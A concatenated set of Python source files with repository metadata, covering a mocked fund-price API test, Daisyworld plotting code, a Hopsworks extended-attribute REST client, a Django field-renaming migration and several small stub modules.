'/Date(1616284800000)/', 'Yield': -0.2612228741355754, 'InsertedBy': None, 'Inserted': '/Date(-62135596800000)/', 'UpdatedBy': None, 'Updated': '/Date(-62135596800000)/'}, {'FundId': 1012, 'FundLabel': None, 'LastRate': 13.535846, 'BidRate': 13.535846, 'AskRate': 13.535846, 'RateDate': '/Date(1616198400000)/', 'Yield': -0.2612228741355754, 'InsertedBy': None, 'Inserted': '/Date(-62135596800000)/', 'UpdatedBy': None, 'Updated': '/Date(-62135596800000)/'}, {'FundId': 1012, 'FundLabel': None, 'LastRate': 13.535809, 'BidRate': 13.535809, 'AskRate': 13.535809, 'RateDate': '/Date(1616112000000)/', 'Yield': -0.2612228741355754, 'InsertedBy': None, 'Inserted': '/Date(-62135596800000)/', 'UpdatedBy': None, 'Updated': '/Date(-62135596800000)/'}, ], 'Total': 1224, 'AggregateResults': None, 'Errors': None} responses.add( responses.POST, url='https://secure.brandnewday.nl/service/navvaluesforfund/', json=body, headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, match=[responses.urlencoded_params_matcher( {'page': '1', 'pageSize': '60', 'fundId': '1012', 'startDate': '01-01-2010', 'endDate': date.today().strftime('%d-%m-%Y')})], status=200 ) responses.add( responses.POST, url='https://secure.brandnewday.nl/service/navvaluesforfund/', body='error', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, match=[responses.urlencoded_params_matcher( {'page': '1', 'pageSize': '60', 'fundId': '1012', 'startDate': '01-01-2010', 'endDate': date.today().strftime('%d-%m-%Y')})], status=500 ) assert len(quote_cache) == 0 response = client.get(prefix + 'bnd-wereld-indexfonds-c-unhedged') assert response.status_code == 200 assert response.json() == [{'Close': 13.535882, 'Date': '2021-03-21T00:00:00'}, {'Close': 13.535846, 'Date': '2021-03-20T00:00:00'}, {'Close': 13.535809, 'Date': '2021-03-19T00:00:00'}] assert len(quote_cache) == 1 response = client.get(prefix + 'bnd-wereld-indexfonds-c-unhedged') assert response.status_code == 200 assert quote_cache['1012@1'] == [Quote(Date=datetime(2021, 3, 21, 0, 0, 0), Close=13.535882), Quote(Date=datetime(2021, 3, 20, 0, 0, 0), Close=13.535846), Quote(Date=datetime(2021, 3, 19, 0, 0, 0), Close=13.535809)]

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py

Python

mit_semseg/lib/utils/__init__.py

starkgines/PDI

dd6908c022179f935ae25d3afee9ea44bb49f162

[ "BSD-3-Clause" ]

4,303

2018-04-08T00:48:44.000Z

2022-03-31T12:54:08.000Z

mit_semseg/lib/utils/__init__.py

starkgines/PDI

dd6908c022179f935ae25d3afee9ea44bb49f162

[ "BSD-3-Clause" ]

212

2018-04-08T16:02:59.000Z

2022-03-16T14:52:44.000Z

mit_semseg/lib/utils/__init__.py

starkgines/PDI

dd6908c022179f935ae25d3afee9ea44bb49f162

[ "BSD-3-Clause" ]

1,057

2018-04-08T03:29:26.000Z

2022-03-30T17:36:12.000Z

from .th import *

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py

Python

util/time.py

thorwhalen/ut

353a4629c35a2cca76ef91a4d5209afe766433b4

[ "MIT" ]

4

2016-12-17T20:06:10.000Z

2021-11-19T04:45:29.000Z

util/time.py

thorwhalen/ut

353a4629c35a2cca76ef91a4d5209afe766433b4

[ "MIT" ]

11

2021-01-06T05:35:11.000Z

2022-03-11T23:28:31.000Z

util/time.py

thorwhalen/ut

353a4629c35a2cca76ef91a4d5209afe766433b4

[ "MIT" ]

3

2015-06-12T10:44:16.000Z

2021-07-26T18:39:47.000Z

from warnings import warn warn('Deprecated: Moved to ut.util.utime (to avoid name conflict with standard lib `time`)') from ut.util.utime import * # move here

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py

Python

daisy-world/dashdir/plotting.py

frossmann/addon_containers

de6dde175947b24bbfa35d94d44c9d9633a73226

[ "BSD-3-Clause" ]

null

daisy-world/dashdir/plotting.py

frossmann/addon_containers

de6dde175947b24bbfa35d94d44c9d9633a73226

[ "BSD-3-Clause" ]

null

daisy-world/dashdir/plotting.py

frossmann/addon_containers

de6dde175947b24bbfa35d94d44c9d9633a73226

[ "BSD-3-Clause" ]

2

2021-11-16T06:05:02.000Z

2021-11-18T17:16:35.000Z

import plotly.graph_objects as go import plotly.figure_factory as ff import numpy as np import calculations as calc from plotly.subplots import make_subplots def initialize_albedo_plot(T_min, T_opt): # how does the growth curve of the Daisies look like? gw = [] gb = [] # amount of intervals to plot nt = 20 t0 = 0 t1 = 45 dT = (t1 - t0) / nt tempv = [t0 + i * dT for i in range(nt)] for t in tempv: gw.append(calc.DaisyGrowth(t + 273.15, "w", T_min, T_opt)) gb.append(calc.DaisyGrowth(t + 273.15, "b", T_min, T_opt)) albedo_plot = go.Figure() albedo_plot.add_hrect( xref="paper", yref="paper", x0=1, x1=1.5, y0=-15, y1=100, line_width=0, fillcolor="white", opacity=1, ) albedo_plot.update_xaxes(showgrid=True, zeroline=False) albedo_plot.update_yaxes(showgrid=True, zeroline=False) albedo_plot.add_trace(go.Scatter(x=tempv, y=gw, name="gw")) albedo_plot.add_trace(go.Scatter(x=tempv, y=gb, name="gb")) albedo_plot.update_layout(xaxis_title="tempv", yaxis_title="growth") albedo_plot.update_layout(xaxis_title="Temp [degC]", yaxis_title="Ratio") albedo_plot.update_xaxes(range=[0, t1]) albedo_plot.update_yaxes(range=[0, 1]) albedo_plot.layout.title = "Growth curve of daisies" return albedo_plot def constant_flux_temp( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt ): # initial areas are embedded in here but should be passed in as an # argument later if we want to change the initial conditions # externally... areas = {"w": 0.01, "b": 0.01} # initial conditions for area # solve the constant flux problem: xgens, gens = calc.update_constant_flux( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt, areas ) # temperatures plot fig = go.Figure() fig.add_hrect( xref="paper", yref="paper", x0=1, x1=1.5, y0=-15, y1=100, line_width=0, fillcolor="white", opacity=1, ) fig.update_xaxes(showgrid=True, zeroline=False) fig.update_yaxes(showgrid=True, zeroline=False) fig.add_trace( go.Scatter( x=gens, y=[x["Tw"] - 273.15 for x in xgens], name="White daisies temperature", line=dict(color="lavender", width=8), ) ) fig.add_trace( go.Scatter( x=gens, y=[x["Tb"] - 273.15 for x in xgens], name="Black daisies temperature", line=dict(color="black", width=3), ) ) fig.add_trace( go.Scatter( x=gens, y=[x["Tp"] - 273.15 for x in xgens], name="Planet temperature", line=dict(color="seagreen", width=5, dash="dot"), ) ) fig.update_layout( xaxis_title="Simulation Time (Daisy generation #)", yaxis_title="Temperature [degC]", ) fig.update_xaxes(range=[0, len(gens)]) fig.update_yaxes(range=[10, 40]) fig.layout.title = "Constant flux temperature with daisy generation" fig.update_layout(plot_bgcolor="silver") return fig def constant_flux_area( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt ): # initial areas are embedded in here but should be passed in as an # argument later if we want to change the initial conditions # externally... areas = {"w": 0.01, "b": 0.01} # initial conditions for area # solve the constant flux problem: xgens, gens = calc.update_constant_flux( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt, areas ) # make the figure: fig = make_subplots(specs=[[{"secondary_y": True}]]) fig.add_hrect( xref="paper", yref="paper", x0=1, x1=1.5, y0=-15, y1=100, line_width=0, fillcolor="white", opacity=1, ) fig.update_xaxes(showgrid=True, zeroline=False) fig.update_yaxes(showgrid=True, zeroline=False, secondary_y=False) fig.update_yaxes(showgrid=False, zeroline=False, secondary_y=True) fig.add_trace( go.Scatter( x=gens, y=[100 * x["Sw"] for x in xgens], name="White daisies area", line=dict(color="lavender", width=8), ), secondary_y=False, ) fig.add_trace( go.Scatter( x=gens, y=[100 * x["Sb"] for x in xgens], name="Black daisies area", line=dict(color="black", width=3), ), secondary_y=False, ) fig.add_trace( go.Scatter( x=gens, y=[100 * x["Su"] for x in xgens], name="Uninhabited area", line=dict(color="saddlebrown", width=4), ), secondary_y=False, ) fig.add_trace( go.Scatter( x=gens, y=[x["Ap"] for x in xgens], name="Combined albedo", line=dict(color="royalblue", dash="dash"), ), secondary_y=True, ) # fig.update_layout(xaxis_title="Generation number", yaxis_title="Fractional area") fig.update_xaxes(title_text="Simulation Time (Daisy generation #)") fig.update_yaxes(title_text="Inhabited area [%]", secondary_y=False) fig.update_yaxes(title_text="Albedo", secondary_y=True) fig.update_xaxes(range=[0, len(gens)]) fig.update_yaxes(range=[0, 100], secondary_y=False) # % area fig.update_yaxes(range=[0.35, 0.65], secondary_y=True) # albedo fig.layout.title = "Constant flux daisy coverage" # fig.update_layout(paper_bgcolor="black") fig.update_layout(plot_bgcolor="silver") return fig def varying_solar_flux_temp( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt ): xeq, xeqbar, _, F = calc.update_equi_flux( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt ) # fig = go.Figure(data=go.Scatter(x=F, y=[x["Tw"] - 273.15 for x in xeq])) ## # # fig = make_subplots(rows=1, cols=2, subplot_titles=("Plot1", "Plot2")) # make a list of arbitrary times to plot against times = np.arange(0, len(F) + 1, 1) fig = make_subplots(specs=[[{"secondary_y": True}]]) fig.add_hrect( xref="paper", yref="paper", x0=1, x1=1.5, y0=-15, y1=100, line_width=0, fillcolor="white", opacity=1, ) # # subplot 1 fig.update_xaxes(showgrid=True, zeroline=False) fig.update_yaxes(showgrid=True, zeroline=False, secondary_y=False) fig.update_yaxes(showgrid=False, zeroline=False, secondary_y=True) fig.add_trace( go.Scatter( x=times, y=[Fi * Fsnom for Fi in F], name="Solar flux (right axis)", line=dict(color="rgba(255, 255, 0, 0.3)", width=5), ), secondary_y=True, ) fig.add_trace( go.Scatter( x=times, y=[x["Tw"] - 273.15 for x in xeq], name="White daisies temperature", line=dict(color="lavender", width=7), ), secondary_y=False, ) # fig.add_trace( # go.Scatter( # x=F, # y=[x["Tw"] - 273.15 for x in xeqinv], # name="White daisies temperature (backwards)", # line=dict(color="lightskyblue", dash="dot", width=5), # ), # ) fig.add_trace( go.Scatter( x=times, y=[x["Tb"] - 273.15 for x in xeq], name="Black daisies temperature", line=dict(color="black", width=3), ), secondary_y=False, ) # fig.add_trace( # go.Scatter( # x=F, # y=[x["Tb"] - 273.15 for x in xeqinv], # name="Black daisies temperature (backwards)", # line=dict(color="darkslategray", dash="dot", width=3), # ), # ) fig.add_trace( go.Scatter( x=times, y=[x["Tp"] - 273.15 for x in xeq], name="Planet temperature", line=dict(color="seagreen", width=5, dash="dot"), ), secondary_y=False, ) # fig.add_trace( # go.Scatter( # x=F, # y=[x["Tp"] - 273.15 for x in xeqinv], # name="Planet temperature (backwards)", # line=dict(color="sienna", dash="dot", width=3), # ), # ) fig.add_trace( go.Scatter( x=times, y=[x["Tp"] - 273.15 for x in xeqbar], name="Planet temperature (without life)", line=dict(color="gray", dash="dash", width=3), ), secondary_y=False, ) fig.update_xaxes(title="Simulation Time [Myr]", range=[0, times[-1]]) fig.update_yaxes( title="Temperature [degC]", range=[-20, 80], secondary_y=False, ) fig.update_yaxes(title_text="Solar flux [Wm-2]", secondary_y=True) fig.update_layout(title_text="Equilibrium temperature vs solar flux") fig.update_layout(plot_bgcolor="silver") return fig def varying_solar_flux_area( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt ): xeq, _, _, F = calc.update_equi_flux( Fsnom, Albedo, rat, em_p, sig, ins_p, death, minarea, T_min, T_opt ) # make a list of arbitrary times to plot against times = np.arange(0, len(F) + 1, 1) # fig = go.Figure(data=go.Scatter(x=F, y=[x["Tw"] - 273.15 for x in xeq])) ## # # fig = make_subplots(rows=1, cols=2, subplot_titles=("Plot1", "Plot2")) fig = make_subplots(specs=[[{"secondary_y": True}]]) fig.add_hrect( xref="paper", yref="paper", x0=1, x1=1.5, y0=-15, y1=100, line_width=0, fillcolor="white", opacity=1, ) # # subplot 1 fig.update_xaxes(showgrid=True, zeroline=False) fig.update_yaxes(showgrid=False, zeroline=False, secondary_y=True) fig.update_yaxes(showgrid=True, zeroline=False, secondary_y=False) fig.add_trace( go.Scatter( x=times, y=[Fi * Fsnom for Fi in F], name="Solar flux (right axis)", line=dict(color="rgba(255, 255, 0, 0.3)", width=5), ), secondary_y=True, ) fig.add_trace( go.Scatter( x=times, y=[100 * x["Sw"] for x in xeq], name="White daisies area", line=dict(color="lavender", width=7), ), secondary_y=False, ) # fig.add_trace( # go.Scatter( # x=F, # y=[x["Sw"] for x in xeqinv], # name="White daisies area (backwards)", # line=dict(color="lightskyblue", dash="dot", width=5), # ), # ) fig.add_trace( go.Scatter( x=times, y=[100 * x["Sb"] for x in xeq], name="Black daisies area", line=dict(color="black", width=3), ), secondary_y=False, ) # fig.add_trace( # go.Scatter( # x=F, # y=[x["Sb"] for x in xeqinv], # name="Black daisies area (backwards)", # line=dict(color="darkslategray", dash="dot", width=3), # ), # ) fig.add_trace( go.Scatter( x=times, y=[100 * x["Su"] for x in xeq], name="Uninhabited area", line=dict(color="saddlebrown", width=3), ), secondary_y=False, ) # fig.add_trace( # go.Scatter( # x=F, # y=[x["Su"] for x in xeqinv], # name="Uninhabited area (backwards)", # line=dict(color="sienna", dash="dot", width=3), # ), # ) fig.update_xaxes(title="Simulation Time [Myr]", range=[0, times[-1]]) fig.update_yaxes( title="Inhabited area [%]", range=[0, 100], secondary_y=False, ) fig.update_yaxes(title_text="Solar flux [Wm-2]", secondary_y=True) fig.update_layout(title_text="Equilibrium area vs solar flux") fig.update_layout(plot_bgcolor="silver") return fig

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36

py

Python

opendart/config/__init__.py

JehunYoo/opendart

c88105baf85af57d006cc2404d192aaf9baf73cc

[ "MIT" ]

null

opendart/config/__init__.py

JehunYoo/opendart

c88105baf85af57d006cc2404d192aaf9baf73cc

[ "MIT" ]

2

2021-07-12T10:59:20.000Z

2021-07-13T02:06:27.000Z

opendart/config/__init__.py

JehunYoo/opendart

c88105baf85af57d006cc2404d192aaf9baf73cc

[ "MIT" ]

null

from opendart.config.config import *

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0

6

e6622feade344255592fd9a7d47d6b9f1bd055ff

5,732

py

Python

hops/xattr.py

robzor92/hops-util-py

88540a0c2b4e366fe6d2acb0441cea9378150c01

[ "Apache-2.0" ]

24

2018-09-20T17:56:43.000Z

2021-11-11T23:34:43.000Z

hops/xattr.py

robzor92/hops-util-py

88540a0c2b4e366fe6d2acb0441cea9378150c01

[ "Apache-2.0" ]

39

2018-10-04T15:19:07.000Z

2021-12-23T10:50:33.000Z

hops/xattr.py

robzor92/hops-util-py

88540a0c2b4e366fe6d2acb0441cea9378150c01

[ "Apache-2.0" ]

23

2018-09-18T07:51:56.000Z

2021-08-10T12:10:27.000Z

""" API for attaching, detaching, and reading extended metadata to HopsFS files/directories. It uses the Hopsworks /xattrs REST API """ from hops import constants, util, hdfs from hops.exceptions import RestAPIError import urllib def set_xattr(hdfs_path, xattr_name, value): """ Attach an extended attribute to an hdfs_path Args: :hdfs_path: path of a file or directory :xattr_name: name of the extended attribute :value: value of the extended attribute Returns: None """ value = str(value) hdfs_path = urllib.parse.quote(hdfs._expand_path(hdfs_path)) headers = {constants.HTTP_CONFIG.HTTP_CONTENT_TYPE: constants.HTTP_CONFIG.HTTP_APPLICATION_JSON} method = constants.HTTP_CONFIG.HTTP_PUT resource_url = constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ hdfs.project_id() + constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_XATTR_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ hdfs_path + constants.DELIMITERS.QUESTION_MARK_DELIMITER + constants.XATTRS.XATTRS_PARAM_NAME + \ constants.DELIMITERS.JDBC_CONNECTION_STRING_VALUE_DELIMITER + xattr_name response = util.send_request(method, resource_url, data=value, headers=headers) response_object = response.json() if response.status_code >= 400: error_code, error_msg, user_msg = util._parse_rest_error(response_object) raise RestAPIError("Could not attach extened attributes from a path (url: {}), server response: \n " \ "HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format( resource_url, response.status_code, response.reason, error_code, error_msg, user_msg)) def get_xattr(hdfs_path, xattr_name=None): """ Get the extended attribute attached to an hdfs_path. Args: :hdfs_path: path of a file or directory :xattr_name: name of the extended attribute Returns: A dictionary with the extended attribute(s) as key value pair(s). If the :xattr_name is None, the API returns all associated extended attributes. """ hdfs_path = urllib.parse.quote(hdfs._expand_path(hdfs_path)) headers = {constants.HTTP_CONFIG.HTTP_CONTENT_TYPE: constants.HTTP_CONFIG.HTTP_APPLICATION_JSON} method = constants.HTTP_CONFIG.HTTP_GET resource_url = constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ hdfs.project_id() + constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_XATTR_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ hdfs_path if xattr_name is not None: resource_url += constants.DELIMITERS.QUESTION_MARK_DELIMITER + constants.XATTRS.XATTRS_PARAM_NAME + \ constants.DELIMITERS.JDBC_CONNECTION_STRING_VALUE_DELIMITER + xattr_name response = util.send_request(method, resource_url, headers=headers) response_object = response.json() if response.status_code >= 400: error_code, error_msg, user_msg = util._parse_rest_error(response_object) raise RestAPIError("Could not get extened attributes attached to a path (url: {}), server response: \n " \ "HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format( resource_url, response.status_code, response.reason, error_code, error_msg, user_msg)) results = {} for item in response_object["items"]: results[item["name"]] = item["value"] return results def remove_xattr(hdfs_path, xattr_name): """ Remove an extended attribute attached to an hdfs_path Args: :hdfs_path: path of a file or directory :xattr_name: name of the extended attribute Returns: None """ hdfs_path = urllib.parse.quote(hdfs._expand_path(hdfs_path)) headers = {constants.HTTP_CONFIG.HTTP_CONTENT_TYPE: constants.HTTP_CONFIG.HTTP_APPLICATION_JSON} method = constants.HTTP_CONFIG.HTTP_DELETE resource_url = constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ hdfs.project_id() + constants.DELIMITERS.SLASH_DELIMITER + \ constants.REST_CONFIG.HOPSWORKS_XATTR_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER + \ hdfs_path + constants.DELIMITERS.QUESTION_MARK_DELIMITER + constants.XATTRS.XATTRS_PARAM_NAME + \ constants.DELIMITERS.JDBC_CONNECTION_STRING_VALUE_DELIMITER + xattr_name response = util.send_request(method, resource_url, headers=headers) if response.status_code >= 400: response_object = response.json() error_code, error_msg, user_msg = util._parse_rest_error(response_object) raise RestAPIError("Could not remove extened attributes from a path (url: {}), server response: \n " \ "HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format( resource_url, response.status_code, response.reason, error_code, error_msg, user_msg))

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null

0

1

0

null

0

6

0561ca0895bec1e2984e237afabbb565849b0693

140

py

Python

room/services.py

F4ever/dots

b893802a78d4c8c1054a2c75c80dc1dd27d51eac

[ "Apache-2.0" ]

null

room/services.py

F4ever/dots

b893802a78d4c8c1054a2c75c80dc1dd27d51eac

[ "Apache-2.0" ]

6

2020-06-05T20:10:02.000Z

2021-09-22T18:09:52.000Z

room/services.py

F4ever/dots

b893802a78d4c8c1054a2c75c80dc1dd27d51eac

[ "Apache-2.0" ]

null

class RoomCalculationService: def __init__(self, room_id): self.room_id = room_id def calculate_results(self): pass

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1

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1

0

null

0

1

0

1

0

6

057b75bb649e28b716661271413ac2187e4d17f1

48

py

Python

game/data/components/__init__.py

UnidayStudio/Easy-2D-Game-Engine

1a8501cba538d7542b0e24bf64eead388085480f

[ "MIT" ]

8

2019-12-15T22:32:30.000Z

2021-06-14T07:38:51.000Z

game/data/components/__init__.py

UnidayStudio/Easy-2D-Game-Engine

1a8501cba538d7542b0e24bf64eead388085480f

[ "MIT" ]

null

game/data/components/__init__.py

UnidayStudio/Easy-2D-Game-Engine

1a8501cba538d7542b0e24bf64eead388085480f

[ "MIT" ]

2

2020-09-10T17:34:23.000Z

2021-03-11T09:26:26.000Z

from game.data.components.TestComponent import *

48

0.854167

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48

6.833333

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0

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1

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1

0

6

058c253ae43e29116887b045dfd233f62ef4ccf0

218

py

Python

cpab/cpaNd/model/__init__.py

freifeld/cpabDiffeo

22df6cdbd7111b9ae3e7f1c0e31ff85e92d281a6

[ "MIT" ]

17

2016-03-16T21:35:36.000Z

2021-11-11T04:16:21.000Z

cpab/cpaNd/model/__init__.py

freifeld/cpabDiffeo

22df6cdbd7111b9ae3e7f1c0e31ff85e92d281a6

[ "MIT" ]

null

cpab/cpaNd/model/__init__.py

freifeld/cpabDiffeo

22df6cdbd7111b9ae3e7f1c0e31ff85e92d281a6

[ "MIT" ]

4

2016-08-12T23:02:09.000Z

2019-03-14T18:20:36.000Z

from _LogLikelihood import LogLikelihood from _LogPrior import LogPrior #from _ScaleDependentLogLikelihoodGaussian import ScaleDependentLogLikelihoodGaussian from _ScaleDependentLogPrior import ScaleDependentLogPrior

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1

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6

552db8b8886012305a174d08f78e6a22fd0ea206

38

py

Python

tests/test_e2e.py

sasakalaba/drone-strike

92e1aa9a79347f2fdc336529b584206aa20e72d3

[ "Unlicense" ]

null

tests/test_e2e.py

sasakalaba/drone-strike

92e1aa9a79347f2fdc336529b584206aa20e72d3

[ "Unlicense" ]

null

tests/test_e2e.py

sasakalaba/drone-strike

92e1aa9a79347f2fdc336529b584206aa20e72d3

[ "Unlicense" ]

null

from .base import BaseTestCase pass

7.6

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4

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null

0

1

0

null

0

1

0

6

5589cd912e691b17322bc09642b9a8ec0453acc9

8,949

py

Python

usaspending_api/financial_activities/migrations/0005_auto_20161004_1547.py

toolness/usaspending-api

ed9a396e20a52749f01f43494763903cc371f9c2

[ "CC0-1.0" ]

1

2021-06-17T05:09:00.000Z

usaspending_api/financial_activities/migrations/0005_auto_20161004_1547.py

toolness/usaspending-api

ed9a396e20a52749f01f43494763903cc371f9c2

[ "CC0-1.0" ]

null

usaspending_api/financial_activities/migrations/0005_auto_20161004_1547.py

toolness/usaspending-api

ed9a396e20a52749f01f43494763903cc371f9c2

[ "CC0-1.0" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.10.1 on 2016-10-04 19:47 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('financial_activities', '0004_merge_20160928_1603'), ] operations = [ migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='by_direct_reimbursable_fun', new_name='by_direct_reimbursable_funding_source', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='deobligations_recov_by_pro_cpe', new_name='deobligations_recoveries_refund_pri_program_object_class_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='drv_obli_inc_by_prog_obj_class', new_name='drv_obligations_incurred_by_program_object_class', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='drv_obligations_undel_ord_unp', new_name='drv_obligations_undelivered_orders_unpaid', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='gross_outlay_amount_by_pro_cpe', new_name='gross_outlay_amount_by_program_object_class_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='gross_outlay_amount_by_pro_fyb', new_name='gross_outlay_amount_by_program_object_class_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='gross_outlays_delivered_or_cpe', new_name='gross_outlays_delivered_orders_paid_total_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='gross_outlays_delivered_or_fyb', new_name='gross_outlays_delivered_orders_paid_total_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='gross_outlays_undelivered_cpe', new_name='gross_outlays_undelivered_orders_prepaid_total_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='gross_outlays_undelivered_fyb', new_name='gross_outlays_undelivered_orders_prepaid_total_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='obligations_delivered_orde_cpe', new_name='obligations_delivered_orders_unpaid_total_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='obligations_delivered_orde_fyb', new_name='obligations_delivered_orders_unpaid_total_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='obligations_incurred_by_pr_cpe', new_name='obligations_incurred_by_program_object_class_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='obligations_undelivered_or_cpe', new_name='obligations_undelivered_orders_unpaid_total_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='obligations_undelivered_or_fyb', new_name='obligations_undelivered_orders_unpaid_total_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl480100_undelivered_or_cpe', new_name='ussgl480100_undelivered_orders_obligations_unpaid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl480100_undelivered_or_fyb', new_name='ussgl480100_undelivered_orders_obligations_unpaid_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl480200_undelivered_or_cpe', new_name='ussgl480200_undelivered_orders_oblig_prepaid_advanced_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl480200_undelivered_or_fyb', new_name='ussgl480200_undelivered_orders_oblig_prepaid_advanced_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl483100_undelivered_or_cpe', new_name='ussgl483100_undelivered_orders_oblig_transferred_unpaid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl483200_undelivered_or_cpe', new_name='ussgl483200_undeliv_orders_oblig_transferred_prepaid_adv_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl487100_downward_adjus_cpe', new_name='ussgl487100_down_adj_pri_unpaid_undel_orders_oblig_recov_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl487200_downward_adjus_cpe', new_name='ussgl487200_down_adj_pri_ppaid_undel_orders_oblig_refund_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl488100_upward_adjustm_cpe', new_name='ussgl488100_upward_adjust_pri_undeliv_order_oblig_unpaid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl488200_upward_adjustm_cpe', new_name='ussgl488200_up_adjust_pri_undeliv_order_oblig_ppaid_adv_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl490100_delivered_orde_cpe', new_name='ussgl490100_delivered_orders_obligations_unpaid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl490100_delivered_orde_fyb', new_name='ussgl490100_delivered_orders_obligations_unpaid_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl490200_delivered_orde_cpe', new_name='ussgl490200_delivered_orders_obligations_paid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl490800_authority_outl_cpe', new_name='ussgl490800_authority_outlayed_not_yet_disbursed_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl490800_authority_outl_fyb', new_name='ussgl490800_authority_outlayed_not_yet_disbursed_fyb', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl493100_delivered_orde_cpe', new_name='ussgl493100_delivered_orders_oblig_transferred_unpaid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl497100_downward_adjus_cpe', new_name='ussgl497100_down_adj_pri_unpaid_deliv_orders_oblig_recov_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl497200_downward_adjus_cpe', new_name='ussgl497200_down_adj_pri_paid_deliv_orders_oblig_refund_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl498100_upward_adjustm_cpe', new_name='ussgl498100_upward_adjust_pri_deliv_orders_oblig_unpaid_cpe', ), migrations.RenameField( model_name='financialaccountsbyprogramactivityobjectclass', old_name='ussgl498200_upward_adjustm_cpe', new_name='ussgl498200_upward_adjust_pri_deliv_orders_oblig_paid_cpe', ), ]

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0

1

null

0

6

5598265430fb84db260c24576996f2ee0f789ef1

27

py

Python

exercises/acronym/acronym.py

RJTK/python

f9678d629735f75354bbd543eb7f10220a498dae

[ "MIT" ]

1

2021-05-15T19:59:04.000Z

exercises/acronym/acronym.py

RJTK/python

f9678d629735f75354bbd543eb7f10220a498dae

[ "MIT" ]

null

exercises/acronym/acronym.py

RJTK/python

f9678d629735f75354bbd543eb7f10220a498dae

[ "MIT" ]

2

2018-03-03T08:32:12.000Z

2019-08-22T11:55:53.000Z

def abbreviate(): pass

9

17

0.62963

3

27

5.666667

1

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0.259259

27

2

18

13.5

0.85

0

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true

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1

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null

0

1

0

6

55acdcacf4ba82a80f3cb7a16e721e05d9bb07b7

127

py

Python

knock-knock4/knockpy/__init__.py

